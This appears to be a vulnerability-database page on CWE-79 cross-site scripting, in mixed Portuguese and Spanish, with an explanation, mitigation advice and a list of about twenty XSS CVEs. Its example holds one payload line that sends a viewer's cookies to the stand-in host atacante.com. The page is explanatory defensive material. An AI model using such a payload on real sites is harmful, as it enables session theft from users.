Fallos del tipo CWE-79

30.296 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-7113MEDIUMPortabilis i-Educar Curricular Components Module edit cross site scriptingEPSS 0.3%CVE-2025-23669MEDIUMWordPress WP Smart Tooltip plugin <= 1.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-9952MEDIUMTrinity Audio <= 5.20.2 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-50464MEDIUMWordPress Kodex Posts likes plugin <= 2.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-30625MEDIUMWordPress AppBanners plugin <= 1.5.14 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-16032MEDIUMLWS Optimize < 4.1.2 - Unauthenticated Stored XSS via Real User MonitoringEPSS 0.3%CVE-2025-56762MEDIUMParacrawl KeOPs v2 is vulnerable to Cross Site Scripting (XSS) in error.php.EPSS 0.3%CVE-2025-30937MEDIUMWordPress Responsify WP plugin <= 1.9.11 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-47595MEDIUMWordPress Color Your Bar plugin <= 2.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-30630MEDIUMWordPress Global Translator plugin <= 2.0.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2023-51506MEDIUMWordPress WPCS Plugin <= 1.2.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-47622MEDIUMWordPress Email Notification on Login plugin <= 1.7.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-14845MEDIUMNewStatPress < 1.4.5 - Unauthenticated Stored XSS via Top Post WidgetEPSS 0.3%CVE-2026-14592MEDIUMWP Real IP-based Access Control <= 1.3.1 - Unauthenticated Stored XSS via acl_ctrl_addrEPSS 0.3%CVE-2025-23055MEDIUMAuthenticated Stored Cross-Site Scripting (XSS) Vulnerability in HPE Aruba Networking Fabric Composer Web Management InterfaceEPSS 0.3%CVE-2024-47647MEDIUMWordPress FAQ / Accordion / Docs – Helpie WordPress FAQ Accordion plugin plugin <= 1.27 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-23880HIGHOnboardLite has stored Cross-site Scripting issue that may lead to admin Account Take OverEPSS 0.3%CVE-2025-25939MEDIUMReprise License Manager 14.2 is vulnerable to reflected cross-site scripting in /goform/activate_process via the akey parameter.EPSS 0.3%CVE-2024-47336MEDIUMWordPress Terms Descriptions plugin <= 3.4.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-41021MEDIUMStored Cross-Site Scripting (XSS) vulnerability in Sergestec's ExitoEPSS 0.3%